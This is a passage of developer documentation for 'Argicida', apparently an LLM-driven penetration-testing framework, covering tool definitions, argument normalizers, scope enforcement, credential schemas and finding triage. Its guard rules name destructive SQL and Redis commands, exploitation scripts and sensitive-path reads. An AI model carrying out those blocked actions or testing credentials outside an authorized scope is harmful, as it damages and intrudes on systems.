LLM context efficiency |\\n| `EXTRACTOR` | callable or `None` | Discovers assets (IPs, hostnames, ports) from results |\\n| `AUTH_INDICATORS` | `AuthIndicators` or `None` | Classifies auth success/failure in tool output |\\n\\n### Adding a new tool\\n\\nCopy an existing def module. For a simple scanner, start from `naabu.py`. For a tool with connection URLs and query parameters, start from `db_query.py`. Change the values. Registration is automatic \u2014 `discover_tool_defs()` finds all non-underscore modules in the `tools/defs/` package via `pkgutil.iter_modules` and validates each one against the required exports.\\n\\nThe only code you touch:\\n\\n1. `tools/defs/.py` \u2014 the definition\\n2. `tools/parsers_.py` \u2014 finding extraction (if the tool produces parseable output)\\n3. `tools/transformers_.py` \u2014 LLM context shaping (if raw output is too verbose)\\n4. `tools/extractors_.py` \u2014 asset discovery (if the tool reveals IPs/hostnames/ports)\\n5. `tools/normalizers_.py` \u2014 tool-specific normalizers (if the tool has unique arg patterns)\\n\\nYou do NOT touch `__init__.py`, `schemas.py`, `scope/validator.py`, or any registration code.\\n\\n### Discovery and validation\\n\\n`discover_tool_defs()` (`tools/defs/__init__.py`) returns a sorted tuple of `ToolDef` dataclasses. It validates every required export's type and checks that `SCHEMA` contains `name` and `description` keys. A malformed module raises `TypeError` or `ValueError` at import time, not at runtime.\\n\\n```python\\n@dataclasses.dataclass(frozen=True)\\nclass ToolDef:\\n    schema: dict[str, Any]\\n    binary_name: str\\n    toolset: str\\n    scope_profile: ToolProfile\\n    normalizers: tuple[Any, ...]\\n    timeout_s: int = 300\\n    error_hints: tuple[tuple[str, str], ...] = ()\\n    parser: Any | None = None\\n    transformer: Any | None = None\\n    extractor: Any | None = None\\n    auth_indicators: Any | None = None\\n```\\n\\n## Handler factory (`make_scan_handler`)\\n\\n`make_scan_handler()` builds a single generic async handler from any `ToolDef`. Every scan tool shares this handler \u2014 there are no per-tool handler functions. The factory takes four callables that bind the handler to runtime state:\\n\\n- `get_client` \u2014 returns the current `IpcClient` or `None`\\n- `ensure_pod` \u2014 launches a pod if none exists\\n- `get_context` \u2014 returns `NormalizeContext` with current IPC dir and DNS server\\n\\nThe generated handler:\\n\\n1. Calls `ensure_client()` to get an IPC connection, launching the pod on demand if needed\\n2. Extracts `target` and `args` from the tool call dict\\n3. Splits concatenated args (LLMs sometimes leak JSON array syntax into a single string: `'-o\\\", \\\"/tmp/file\\\"'` \u2192 `['-o', '/tmp/file']`)\\n4. Runs the normalizer pipeline\\n5. If normalizers reject: returns a JSON error with guidance\\n6. Calls `run_tool()` to dispatch over IPC\\n7. Cleans up any temporary IPC files created by normalizers\\n8. Appends `corrected_args` to the result if normalizers made corrections\\n\\nThe `scan_handler` decorator wraps the handler with uniform error handling \u2014 `ToolError` and general exceptions both produce JSON error responses instead of crashing.\\n\\n## Base infrastructure (`base.py`)\\n\\n### `ensure_client(get_client, ensure_pod)`\\n\\nGets the IPC client, launching a pod on demand. If `get_client()` returns `None`, calls `ensure_pod()` on a thread (via `asyncio.to_thread` \u2014 the Podman API is synchronous) and retries once. Raises `ToolError` with a diagnostic message if both attempts fail.\\n\\n### `run_tool(client, tool, target, args, timeout_s)`\\n\\nThe generic dispatcher. Sends an `IpcCommand` over the Unix socket and returns raw output as a JSON string containing `tool`, `target`, `request_id`, `raw_output`, `exit_code`, and `stderr`. The `target` field is metadata only \u2014 it is NOT appended to the command args.\\n\\n### `_send_tool_command(client, tool, args, request_id, timeout_s)`\\n\\nConstructs an `IpcCommand`, sends it via the client, and raises `ToolError` with an actionable hint if the response contains an error. Hint matching (`_ipc_error_hint`) pattern-matches against common IPC failures: command not found, timeout, connection refused, permission denied, file not found.\\n\\n### `transfer_from_container(pm, container_name, source_path, ipc_dir)`\\n\\nFile transfer across UID namespace boundaries. Copies a file from the container to `/ipc/` via `podman exec`, sets permissions to 644 (so the host can read across the rootless Podman UID mapping), reads the bytes, and cleans up the transfer file.\\n\\n## Normalizer pipeline\\n\\nNormalizers intercept and correct LLM argument mistakes before IPC dispatch. They implement the `ArgNormalizer` protocol:\\n\\n```python\\nclass ArgNormalizer(Protocol):\\n    def normalize(self, args: tuple[str, ...], ctx: NormalizeContext) -> NormalizeResult: ...\\n```\\n\\n`NormalizeResult` carries the (possibly modified) args, corrections made, rejections with guidance, an optional binary override, and cleanup file paths. `CompositeNormalizer` chains components in order, accumulating corrections and short-circuiting on the first rejection.\\n\\n### Generic normalizer components\\n\\n| Component | Purpose |\\n|-----------|---------|\\n| `TargetInjector` | Places target into args based on mode: `last` (nmap), `flag` (naabu `-host`), `flag_url` (nuclei `-u`), `after_mode_flag` (rpcinfo) |\\n| `FlagInjector` | Injects default flags when absent (e.g., `-json`, `-Pn`, `-n`) |\\n| `BlockedChecker` | Rejects args containing specific flags with guidance |\\n| `FileInjector` | Writes a tool_args parameter to an IPC file and injects a CLI flag pointing to it |\\n| `TargetFileInjector` | Writes `ctx.target` to an IPC file (used by dnsx which reads from `-l`) |\\n| `DnsServerInjector` | Injects engagement DNS server via a flag (e.g., `-r`) |\\n| `RequiredArgsChecker` | Rejects when args are empty |\\n| `ConflictChecker` | Rejects when a parameter conflicts with a CLI flag |\\n| `UriRequiredChecker` | Rejects when no connection URL is present in args |\\n| `FlagValueGuard` | Scans flag-value pairs for blocked content (destructive SQL, etc.) |\\n\\n### Tool-specific normalizers\\n\\n| Module | Key normalizer | What it does |\\n|--------|---------------|--------------|\\n| `normalizers_nmap.py` | `NseScriptMatcher` | Fuzzy-matches `--script` names against the container's 518-script NSE inventory. Auto-corrects close matches (score gap >= 0.1), rejects ambiguous matches with suggestions, blocks exploitation/brute-force scripts |\\n| `normalizers_nuclei.py` | `NucleiDefaultSeverity` | Injects `-severity critical,high,medium` when no template filter is present (prevents running all ~13k templates) |\\n| `normalizers_nuclei.py` | `NucleiProtocolEnforcer` | Auto-injects or strips `-nh` based on whether the URL has an HTTP scheme |\\n| `normalizers_curl.py` | `CurlPathGuard` | Restricts `-o` to `/tmp/` and blocks reads from sensitive paths |\\n| `normalizers_curl.py` | `CurlAuthUrlFixer` | Fixes `-u URL` when the model confuses curl's auth flag with httpx's URL flag |\\n| `normalizers_db.py` | `DbSqlGuard` | Blocks destructive SQL and usql meta-commands |\\n| `normalizers_redis.py` | `RedisCommandGuard` | Blocks destructive Redis commands (FLUSHALL, CONFIG SET, etc.) |\\n| `normalizers_smb.py` | `SmbPathNormalizer` | Auto-prepends `//IP/SHARE` from target when missing |\\n| `normalizers_ssh.py` | `SshHostKeyInjector` | Injects `-o StrictHostKeyChecking=no` for non-interactive auth |\\n| `normalizers_zap.py` | `ZapProxyInjector` | Routes web tool traffic through ZAP for passive analysis |\\n\\n### NormalizeContext\\n\\nCarries environment state through the pipeline:\\n\\n```python\\nclass NormalizeContext(msgspec.Struct, frozen=True):\\n    target: str = \\\"\\\"       # scope-validation target (IP/hostname/URL)\\n    tool_args: dict = {}   # full tool call dict (for named params like `query`, `body`)\\n    ipc_dir: str = \\\"\\\"      # path to IPC bind mount (for file injection)\\n    dns_server: str = \\\"\\\"   # engagement DNS server (for auto-injection)\\n```\\n\\n## Schemas (`schemas.py`)\\n\\n`_scan_schema()` builds the standard flexible-args schema that every scan tool uses:\\n\\n```python\\n{\\n    \\\"name\\\": \\\"argicida_\\\",\\n    \\\"parameters\\\": {\\n        \\\"properties\\\": {\\n            \\\"target\\\": {\\\"type\\\": \\\"string\\\", \\\"description\\\": \\\"...\\\"},\\n            \\\"args\\\": {\\\"type\\\": \\\"array\\\", \\\"items\\\": {\\\"type\\\": \\\"string\\\"}, \\\"description\\\": \\\"...\\\"},\\n            # ... extra_properties for tools with named params (body, query, key, password)\\n        },\\n        \\\"required\\\": [\\\"args\\\"]\\n    }\\n}\\n```\\n\\nThe `target` field is for scope validation and metadata. The `args` array contains CLI flags as separate elements. Tools that need additional named parameters (db_query's `query`, curl's `body`, ssh_exec's `password` and `key`) add them via `extra_properties`.\\n\\nManagement tool schemas (engagement_create, scope_define, engagement_query, ZAP tools, etc.) are hand-written dicts in the same file. They don't go through `make_scan_handler` \u2014 they have dedicated handlers in `management_handlers.py`.\\n\\n## Tool classification sets\\n\\n`tools/defs/__init__.py` maintains canonical sets that hooks use to decide how to handle each tool:\\n\\n- **`get_non_evidence_tools()`** \u2014 management/infrastructure tools that don't produce forensic evidence (skip evidence chain)\\n- **`get_scope_exempt_tools()`** \u2014 tools that don't need scope validation (management tools + tracepath)\\n- **`get_perceptor_skip_tools()`** \u2014 tools whose output doesn't benefit from LLM-based finding extraction (management tools + tracepath, rpcinfo, katana, ffuf, curl)\\n\\nThese are the single source of truth. Hooks import from here instead of maintaining their own frozensets.\\n\\n## ProjectDiscovery tool conventions\\n\\nPD tools (naabu, nuclei, httpx, subfinder, dnsx, katana) share a goflags convention where `-flag` and `--flag` are interchangeable. `_pd_flags()` from `scope/validator.py` auto-expands short forms into both variants. Shared blocked-flag constants live in `tools/defs/_pd_common.py`:\\n\\n```python\\nPD_BLOCKED_CONFIG = _pd_flags(\\\"-config\\\")      # no config file override\\nPD_BLOCKED_OUTPUT = _pd_flags(\\\"-o\\\", \\\"-output\\\") # no file output (IPC only)\\nPD_BLOCKED_LIST   = _pd_flags(\\\"-l\\\", \\\"-list\\\")   # no target list files\\n```\\n\\n## Post-dispatch processing\\n\\nThe framework supports three optional post-dispatch processors declared in tool defs:\\n\\n**Parsers** (`PARSER`) extract structured findings from raw output. Each parser receives a `ParseContext` with the raw output and tool args, and returns findings in the OCSF-normalized schema. Tool-specific parsers live in `tools/parsers_.py` and use shared helpers from `tools/parsers.py` (`make_finding`, `iter_jsonl`, `utc_timestamp`).\\n\\n**Transformers** (`TRANSFORMER`) reshape tool output for LLM context efficiency. Raw nmap XML becomes a service table. Raw nuclei JSONL becomes a severity-grouped summary. Transformers run via the `transform_tool_result` hook, not inside the handler. The `with_raw_fallback` decorator in `tools/transformers.py` catches transformer errors and falls back to truncated raw output.\\n\\n**Extractors** (`EXTRACTOR`) discover assets (IPs, hostnames, ports, services) from tool results and feed them into the asset registry. They run via the `ArgicidaAssetExtractor` hook in `post_tool_call`. Shared helpers live in `tools/extractors_base.py` (`extract_target`, `findings_to_discoveries`, `resolve_hostname`, `collect_ip_candidates`).\\n\\n## IPC file permissions\\n\\nNormalizers that write files to the IPC directory (FileInjector, TargetFileInjector, SshAuthNormalizer) MUST use `write_ipc_file()` from `_protocol.py`, which sets `0o644` permissions. The host UID maps to container root (UID 0), not the tool process UID (10000). The tool process reads host-written files via the \\\"other\\\" permission bits. Using `0o600` causes `Permission denied` inside the container.\",\"scope-enforcement\":\"# Scope Enforcement\\n\\n# Scope Enforcement\\n\\nArgicida enforces engagement scope at two independent layers: **network** (nftables rules on the gateway container) and **command** (argument validation in the `pre_tool_call` hook). Both must pass for a tool invocation to proceed. If either layer blocks it, the action is denied. This defense-in-depth design means a bug in one layer cannot silently expand scope.\\n\\n```mermaid\\ngraph LR\\n    LLM[\\\"LLM tool call\\\"] --> Hook[\\\"pre_tool_call hook(validator.py)\\\"]\\n    Hook -->|blocked| Deny1[\\\"\u274c Denied\\\"]\\n    Hook -->|allowed| Pod[\\\"Tool container\\\"]\\n    Pod --> GW[\\\"Gateway FORWARD chain(netfilter.py)\\\"]\\n    GW -->|no match| Deny2[\\\"\u274c Dropped\\\"]\\n    GW -->|scope match| Target[\\\"Target host\\\"]\\n```\\n\\nThe command layer is strictly narrower than the network layer \u2014 it rejects arguments the network layer would allow (blocked flags, shell metacharacters, tools targeting assets outside scope). The network layer is the backstop: even if a tool constructs an unexpected outbound connection, the gateway drops it unless the destination matches scope CIDRs or resolved domain IPs.\\n\\n## ScopeDefinition\\n\\n`argicida_common.scope_schema.ScopeDefinition` is the canonical scope representation, shared between both layers. It is a frozen msgspec Struct:\\n\\n| Field | Type | Purpose |\\n|---|---|---|\\n| `target_cidrs` | `tuple[str, ...]` | IP networks the engagement may touch |\\n| `target_domains` | `tuple[str, ...]` | Hostnames in scope (subdomains included) |\\n| `excluded_ips` | `tuple[str, ...]` | IPs explicitly blocked even if within a target CIDR |\\n| `dns_server` | `str` | Custom upstream DNS for the engagement |\\n| `max_intensity` | `str` | Scan intensity ceiling (default `\\\"safe\\\"`) |\\n| `template_allowlist` | `tuple[str, ...]` | Nuclei template restrictions |\\n| `nuclei_tags` / `nuclei_severity` / `nuclei_exclude_tags` | `tuple[str, ...]` | Nuclei filtering controls |\\n\\n`validate_scope()` checks structural validity (parseable CIDRs, valid IPs, domain format). `classify_scope_args()` splits a flat list of user-supplied strings into CIDRs vs. domains by attempting `ip_network()` on each.\\n\\n**Security boundary:** `ScopeDefinition` never crosses IPC to the container. The container receives only the specific arguments for each command. Scope enforcement is entirely the host's responsibility.\\n\\n## Network Layer \u2014 `netfilter.py`\\n\\nThis module contains pure functions that produce nftables command strings from a `ScopeDefinition`. It never executes rules itself \u2014 callers write the output to a file in `scope_dir`, and the gateway container loads it via `nft -f`.\\n\\n### Gateway ruleset structure\\n\\n`build_gateway_ruleset()` generates four chains in a single `inet` (dual-stack) table:\\n\\n| Chain | Hook | Default Policy | Role |\\n|---|---|---|---|\\n| **FORWARD** | `forward` | `drop` | Scope enforcement \u2014 only traffic to scope CIDRs/domains passes |\\n| **INPUT** | `input` | `drop` | Gateway self-protection \u2014 only DNS from internal subnet + loopback |\\n| **OUTPUT** | `output` | `accept` | Gateway's own traffic \u2014 unrestricted, optional DNS/VPN pinning |\\n| **postrouting** | `postrouting` (NAT) | \u2014 | Masquerade outbound traffic so return packets route correctly |\\n\\nThe table is created idempotently: `destroy table inet argicida` (no-op if absent) followed by `add table`.\\n\\n### FORWARD chain rule ordering\\n\\nRule order in the FORWARD chain is security-critical:\\n\\n1. **Established/related** \u2014 accept return traffic for connections already allowed\\n2. **Domain sets** (if `target_domains` present) \u2014 declare dynamic nftsets `domain_scope` (IPv4) and `domain_scope6` (IPv6) with 5-minute TTL and garbage collection\\n3. **Excluded IPs** \u2014 drop rules, ordered *before* CIDR accepts\\n4. **Domain set accepts** \u2014 `@domain_scope` / `@domain_scope6` match rules\\n5. **CIDR accepts** \u2014 one rule per `target_cidrs` entry\\n6. **Default drop** \u2014 implicit from chain policy\\n\\nExcluded IPs are ordered before CIDR accepts so an exclusion within a target CIDR takes effect. There is no blanket port 80/443 accept \u2014 all traffic must match a scope entry.\\n\\n### Domain resolution via dnsmasq\\n\\nIP-based nftables rules cannot match hostnames. Domain scope works through a DNS sidecar:\\n\\n1. `build_dnsmasq_conf()` generates a dnsmasq config with `nftset=` directives for each `target_domain`\\n2. When the tool pod resolves a scoped domain, dnsmasq adds the resolved IP to the `domain_scope` / `domain_scope6` nftsets\\n3. The FORWARD chain accepts traffic to IPs in those sets\\n\\nThe sets use `flags dynamic,timeout` with a 5-minute TTL, so stale resolutions expire automatically. Subdomains are included: `nftset=/.example.com/` matches `foo.example.com`.\\n\\n`build_dnsmasq_conf()` also emits:\\n- `listen-address=` bound to the gateway's internal IP (`10.89.1.2`) so the tool pod's `resolv.conf` can point there\\n- `server=` pointing to the engagement's upstream DNS\\n- `address=` lines for static host entries (e.g., known hostname\u2192IP mappings)\\n\\n### Permissive and flush rulesets\\n\\nTwo utility functions handle non-engagement scenarios:\\n\\n- `build_permissive_ruleset()` \u2014 same four-chain structure but FORWARD policy is `accept`. Used for diagnostic pods before an engagement scope is defined. Replaced with real scope when `scope_define` runs.\\n- `build_flush_ruleset()` \u2014 single `destroy table` command for cleanup.\\n\\n### Serialization\\n\\n`serialize_scope_rules()` and `serialize_dnsmasq_conf()` write generated content to files using `os.open()` with `O_NOFOLLOW` (reject symlinks). Scope rules get `0o600` permissions; dnsmasq config gets `0o644`. These files live in `scope_dir` \u2014 a host-owned temp directory that is *not* U/chown-shifted, so the host can always update them during scope changes.\\n\\n### VPN support\\n\\n`_build_output_chain()` optionally pins VPN endpoint traffic in the OUTPUT chain. It accepts a `(ip, port, protocol)` tuple and validates all three components. The `_VPN_INTERFACES` dict maps mode names to interface names (`wireguard` \u2192 `wg0`, `openvpn` \u2192 `tun0`), though the interface name is not currently used in rules.\\n\\n## Command Layer \u2014 `validator.py`\\n\\nThe command layer runs inside the `pre_tool_call` hook on the host. It validates every tool invocation's arguments against the engagement scope *before* the command reaches the container.\\n\\n### Tool profiles\\n\\nEach tool declares a `ToolProfile` that tells the validator how to interpret its arguments:\\n\\n```python\\nclass ToolProfile(msgspec.Struct, frozen=True, forbid_unknown_fields=True):\\n    blocked_flags: tuple[str, ...]     # Always rejected (e.g., -oN, --proxy)\\n    gated_flags: tuple[tuple[str, str], ...] = ()  # Require conditions\\n    target_flags: tuple[str, ...] = () # Values scope-checked as targets (-u, -host)\\n    value_flags: tuple[str, ...] = ()  # Values exempt from scope check (-top-ports, -c)\\n    skip_positional_scope: bool = False # Don't scope-check positional args\\n```\\n\\nProfiles are registered at plugin startup via `register_profiles()`, called from `register_scan_tools()` during Hermes plugin registration. The profiles originate from individual tool definition modules in `tools/defs/`.\\n\\n`_pd_flags()` is a helper for ProjectDiscovery tools that accept both `-flag` and `--flag` forms (goflags convention). It expands single-dash flags longer than 2 characters into both forms.\\n\\n### Argument classification\\n\\n`validate_tool_args()` walks the argument array in a single pass, classifying each element into one of four tiers:\\n\\n| Tier | Check | Rationale |\\n|---|---|---|\\n| **Value-flag values** | Skip all checks | Data values (SQL queries, port numbers) \u2014 safe because `create_subprocess_exec` has no shell |\\n| **Target-flag values** | Metachar + scope | Network destinations the tool will contact |\\n| **Blocked flags** | Reject immediately | Flags that could bypass scope or exfiltrate data |\\n| **Positional args** | Metachar + scope (unless `skip_positional_scope`) | Treated as implicit targets |\\n\\nThe `=` form (`--flag=value`) is handled: the flag name is extracted by splitting on `=`, and the value is checked according to the flag's tier.\\n\\n### Target scope resolution\\n\\n`_is_target_in_scope()` checks a target string against the scope through multiple strategies, in order:\\n\\n1. **Comma-separated targets** \u2014 split and check each independently (recursive)\\n2. **Normalization** \u2014 `normalize_target()` strips URL schemes, ports, and paths to extract the bare IP or hostname\\n3. **Excluded IPs** \u2014 checked first, takes absolute precedence\\n4. **IP match** \u2014 target IP falls within a `target_cidrs` network\\n5. **CIDR match** \u2014 target is itself a CIDR that is a subnet of a scope CIDR\\n6. **Domain match** \u2014 target hostname matches or is a subdomain of a `target_domains` entry\\n7. **Asset registry fallback** \u2014 if `store` and `engagement_id` are provided, looks up the target as a registered hostname on an asset whose IP is in scope\\n\\nThe asset registry fallback handles the case where tool discovery surfaces hostnames (e.g., via subfinder) that resolve to in-scope IPs but aren't explicitly listed in the scope definition.\\n\\n### Shell metacharacter rejection\\n\\nAll arguments except value-flag values are checked against `_SHELL_METACHAR_PATTERN`: `;`, `|`, `&`, `` ` ``, `$`, `$(`. This prevents command injection even though `create_subprocess_exec` already avoids shell interpretation \u2014 defense in depth against any future code path that might inadvertently use a shell.\\n\\n## Lifecycle\\n\\nScope rules are not static. They update during an engagement as the operator expands or narrows scope:\\n\\n1. **Pod launch (no engagement):** `build_permissive_ruleset()` \u2192 FORWARD accepts all. No command-layer scope exists yet.\\n2. **`scope_define` runs:** `build_gateway_ruleset()` generates real rules \u2192 `serialize_scope_rules()` writes to `scope_dir` \u2192 gateway loads via `nft -f`. Command-layer validation begins using the `ScopeDefinition`.\\n3. **Scope update (e.g., new CIDR discovered):** `pod/launcher.py:update()` calls `serialize_scope_rules()` with the updated scope \u2192 gateway reloads. The command layer picks up the new `ScopeDefinition` from the engagement store.\\n4. **Teardown:** `build_flush_ruleset()` removes the table. Pod and gateway are destroyed by `cleanup_topology_by_name()`.\\n\\n## Adding scope support for a new tool\\n\\nNo changes to `validator.py` or `netfilter.py` are needed. Define the tool's scope profile in its `tools/defs/.py` module:\\n\\n```python\\nSCOPE_PROFILE = ToolProfile(\\n    blocked_flags=(\\\"-oN\\\", \\\"--proxy\\\"),\\n    target_flags=(\\\"-u\\\",),\\n    value_flags=(\\\"-top-ports\\\", \\\"-rate\\\"),\\n)\\n```\\n\\nThe profile is automatically discovered and registered via `register_profiles()` at startup. Test with `validate_tool_args()` to verify flag classification before deploying \u2014 a missing `value_flags` entry causes values like `1000` (from `-top-ports 1000`) to be treated as positional targets and rejected as out-of-scope.\",\"shared-types-schemas\":\"# Shared Types & Schemas\\n\\n# `argicida_common` \u2014 Shared Types & Schemas\\n\\nThe `argicida_common` package defines every data structure that crosses a boundary in Argicida: between host and container over Unix socket IPC, between the plugin and its SQLite stores, and between tool output parsers and the LLM context injector. It is the only package that both `argicida` (host plugin) and `argicida_agent` (container agent) depend on, so its sole external dependency is `msgspec`.\\n\\n## Design Invariants\\n\\nEvery struct in this package follows three rules enforced by convention and consistency tests:\\n\\n1. **`frozen=True, forbid_unknown_fields=True`** on all `msgspec.Struct` subclasses. Frozen structs are hashable and prevent accidental mutation after deserialization. Unknown fields cause decode errors rather than silent data loss.\\n\\n2. **`tuple[T, ...]`** for collection fields, never `list`. Tuples are truly immutable \u2014 a frozen struct with a `list` field can still have its contents mutated.\\n\\n3. **`Literal[...]`** for constrained string fields. Values are validated at decode time by msgspec, not at construction time. Direct `Struct()` construction bypasses this \u2014 always decode from wire format via `msgspec.msgpack.decode()` or `msgspec.json.decode()` for untrusted data.\\n\\n## Constants (`constants.py`)\\n\\n### Enums\\n\\nThree `StrEnum` types replace string literals across the codebase:\\n\\n| Enum | Values | Used by |\\n|------|--------|---------|\\n| `TriageLevel` | `critical`, `interesting`, `noise` | Finding triage, briefing generation |\\n| `EngagementPhase` | `scoping` \u2192 `discovery` \u2192 `enumeration` \u2192 `deep_testing` \u2192 `human_gate` | Engagement lifecycle, context injection |\\n| `CoverageState` | `discovered` \u2192 `ports_scanned` \u2192 `hostnames_probed` \u2192 `vgroups_identified` \u2192 `enumerated` | Asset registry coverage tracking |\\n\\n`EngagementPhase` and `CoverageState` are ordered state machines \u2014 assets and engagements progress forward through these states. The ordering is implicit (not enforced by the enum), but the store layer validates transitions.\\n\\n### `TOOL_NAMES`\\n\\nMaps logical tool names to absolute binary paths inside the container. The agent process (`argicida_agent`) looks up binaries here rather than relying on `$PATH`. Adding a new tool binary requires an entry here and a corresponding install in the Containerfile.\\n\\n### Size Limits\\n\\nConstants prefixed `MAX_` define msgspec `Meta` validation bounds and IPC frame limits:\\n\\n- **IPC payload limits**: `MAX_IPC_STDOUT_SIZE` (16 MiB), `MAX_IPC_STDERR_SIZE` (1 MiB) \u2014 cap what the agent streams back per command. `MAX_IPC_MESSAGE_SIZE` (64 MiB) caps the entire framed message.\\n- **Domain limits**: `MAX_ARGS_COUNT` (100), `MAX_ENV_COUNT` (50), `MAX_CIDRS_COUNT` / `MAX_DOMAINS_COUNT` (1000) \u2014 prevent unbounded scope definitions from consuming memory.\\n- **IPC security**: `IPC_HMAC_KEY_SIZE` (32 bytes), `IPC_NONCE_SIZE` (32 bytes), `AUTH_TIMEOUT_S` (10s), `MAX_AUTH_FRAME_SIZE` (1 KiB) \u2014 govern the HMAC handshake between host and agent.\\n\\n### Environment Variable Controls\\n\\n`ENV_ALLOWLIST` \u2014 the only environment variables that can be forwarded to tool commands inside the container (API keys + locale). `ENV_BLOCKLIST` \u2014 variables that are explicitly stripped even if present, because they could alter tool behavior or bypass isolation (`LD_PRELOAD`, `PATH`, proxy vars).\\n\\n## Schema Modules\\n\\n```mermaid\\ngraph LR\\n    SD[ScopeDefinition] --> EM[EngagementMeta]\\n    F[Finding]\\n    A[Asset] --> AH[AssetHostname]\\n    A --> AP[AssetPort]\\n    VF[VhostFingerprint] -.->|serialized into| AH\\n    P[Principal]\\n    S[Secret]\\n    VC[ValidatedCredential]\\n\\n    style SD fill:#f0f0f0,stroke:#666\\n    style EM fill:#f0f0f0,stroke:#666\\n```\\n\\n### `finding_schema.py` \u2014 `Finding`\\n\\nRepresents a single security finding from any scan tool. Fields map to the OCSF-normalized output that the `transform_tool_result` hook produces.\\n\\nKey fields:\\n- `severity` \u2014 five-level scale (`critical` through `info`), set by the tool parser\\n- `triage_level` \u2014 three-level operator classification (`critical`, `interesting`, `noise`), set by the triage engine or manually via `/triage`\\n- `raw_output` \u2014 capped at `MAX_RAW_OUTPUT_SIZE` (10 MiB) via `Annotated[str, msgspec.Meta(max_length=...)]`\\n- `epss` / `kev` \u2014 EPSS probability score and CISA KEV membership, populated by the enrichment layer from pre-downloaded data files\\n- `cve_ids` / `cwe_ids` / `wasc_ids` \u2014 vulnerability identifiers as tuples, not lists\\n\\nThe `Finding` struct is produced by tool parsers (`tools/parsers_*.py`) via the `make_finding()` helper, stored in the `FindingRepo`, and rendered into LLM context by the briefing generator.\\n\\n### `engagement_schema.py` \u2014 `EngagementMeta`\\n\\nLightweight engagement summary containing the scope definition, current phase, and timestamps. This struct is what gets injected into LLM context via the `pre_llm_call` hook \u2014 it carries enough information for the LLM to understand what it's allowed to target and where it is in the engagement lifecycle.\\n\\n`EngagementMeta.scope` is a `ScopeDefinition` (from `scope_schema.py`), making this the join point between engagement state and scope enforcement.\\n\\n### `asset_schema.py` \u2014 Asset Registry Types\\n\\nFour structs model the IP-anchored asset registry:\\n\\n**`Asset`** \u2014 top-level entity keyed by IP address. `coverage_state` tracks how thoroughly the asset has been enumerated, progressing through the `CoverageState` machine. Contains nested tuples of `AssetHostname` and `AssetPort`.\\n\\n**`AssetHostname`** \u2014 a hostname associated with an IP, with its discovery `source` tool. Optional fields support vhost fingerprinting: `fingerprint` (serialized `VhostFingerprint`), `vhost_group` (UUID grouping structurally identical vhosts), `visual_hash` (Tier 2 screenshot-based dedup), `tech_fingerprint` (Wappalyzer tech stack from ZAP), and `login_url` (login form URL from ZAP).\\n\\n**`AssetPort`** \u2014 an open port with protocol, service name, and banner.\\n\\n**`VhostFingerprint`** \u2014 structural metadata from httpx responses used to group hostname aliases. Contains status code, content length, title hash, redirect target, body hash, and server header. Fingerprints with identical values are assumed to serve the same content.\\n\\n**`serialize_fingerprint()`** \u2014 the only function in the package. Converts a `VhostFingerprint` to a deterministic JSON string via `msgspec.json.encode()`. Used by the `AssetRepo` for storage and by the httpx extractor when processing scan results.\\n\\n### `credential_schema.py` \u2014 Credential Fragment Model\\n\\nModels the credential discovery lifecycle as three separate entities:\\n\\n**`Principal`** \u2014 a username or identity found in isolation (e.g., from an SMTP VRFY response or a web page). `confidence` tracks discovery certainty: `confirmed` (verified to exist), `likely` (strong evidence), `inferred` (pattern-based guess).\\n\\n**`Secret`** \u2014 authentication material found in isolation (e.g., a leaked password hash or an API key in a config file). `secret_type` discriminates between `password`, `token`, `api_key`, `private_key`, `hash`, and `passphrase`. `associated_principal` optionally links to a suspected owner.\\n\\n**`ValidatedCredential`** \u2014 a proven (principal, secret, target, service) tuple that granted access. Created only after successful authentication testing. `access_level` records what the credential provides: `admin`, `user`, `read-only`, or `unknown`. `is_default` flags factory-default credentials.\\n\\nThe `Credential` alias exists for backward compatibility but new code should use `ValidatedCredential`. The `SECRET_TYPE_PASSWORD` constant carries a `# noqa: S105` because bandit flags any variable with \\\"PASSWORD\\\" in the name \u2014 the comment explains it's a type discriminator, not a credential value.\\n\\n## Adding a New Schema\\n\\n1. Create a new `*_schema.py` file following the existing pattern.\\n2. Use `frozen=True, forbid_unknown_fields=True` on all structs.\\n3. Use `tuple[T, ...]` for collections, `Literal[...]` for constrained strings.\\n4. Add size-limit constants to `constants.py` if the struct carries variable-length data.\\n5. Import from `argicida_common` in both `argicida` and `argicida_agent` as needed \u2014 this package is the only shared dependency.\\n\\nDo not add any dependencies beyond `msgspec`. Both the host plugin and the container agent import this package, and the agent's container image is kept minimal.\",\"triage-engine\":\"# Triage Engine\\n\\n# Triage Engine\\n\\n`src/argicida/argicida/triage/`\\n\\nThe triage engine scores, classifies, and deduplicates vulnerability findings produced by scan tools. It assigns every finding one of three levels \u2014 **CRITICAL**, **INTERESTING**, or **NOISE** \u2014 using a deterministic, weighted composite of CVSS severity, EPSS exploitation probability, and CISA KEV catalog membership. All threat intelligence data is loaded from local files provisioned by the operator before the engagement, enabling air-gapped operation.\\n\\n## Pipeline\\n\\nFindings flow through four stages. Deduplication happens before scoring so duplicate findings from overlapping tools don't inflate counts or waste scoring work.\\n\\n```mermaid\\ngraph LR\\n    A[Raw Findings] --> B[Deduplicate]\\n    B --> C[Score]\\n    C --> D[Classify]\\n    D --> E[Triaged Findings]\\n    F[(EPSS CSV)] -.-> C\\n    G[(KEV JSON)] -.-> C\\n```\\n\\nTwo hooks drive this pipeline at runtime:\\n\\n- **`normalize_result`** (`hooks/normalizer.py`) calls `classify_findings` during OCSF normalization of tool output, writing the triage level back onto each `Finding`.\\n- **`capture_evidence`** (`hooks/evidence.py`) calls `classify_findings` when persisting findings to the evidence chain.\\n\\nThe triage data itself (`EpssData`, `KevData`) is loaded once during plugin registration (`init_state` \u2192 `load_epss` / `load_kev`) and held on `PluginState` for the session lifetime. Both classes expose a `reload()` method for hot-swapping data without restarting the session.\\n\\n## Data Loaders \u2014 `data.py`\\n\\n### `EpssData`\\n\\nWraps a `dict[str, float]` mapping CVE IDs to EPSS probability scores (0.0\u20131.0). Loaded from the FIRST/EPSS CSV format, which starts with comment lines (`#`) followed by a header row and `cve,epss,percentile` data rows. The loader strips comments before passing to `csv.DictReader`.\\n\\n```python\\nepss = load_epss(Path(\\\"epss_scores.csv\\\"))\\nscore = epss.lookup(\\\"CVE-2024-1234\\\")  # float | None\\n```\\n\\n### `KevData`\\n\\nWraps two `frozenset[str]` collections parsed from CISA's Known Exploited Vulnerabilities JSON catalog: all KEV CVE IDs and the subset linked to known ransomware campaigns (`knownRansomwareCampaignUse == \\\"Known\\\"`).\\n\\n```python\\nkev = load_kev(Path(\\\"kev.json\\\"))\\nkev.is_kev(\\\"CVE-2024-1234\\\")         # bool\\nkev.is_ransomware(\\\"CVE-2024-1234\\\")  # bool\\n```\\n\\nBoth data 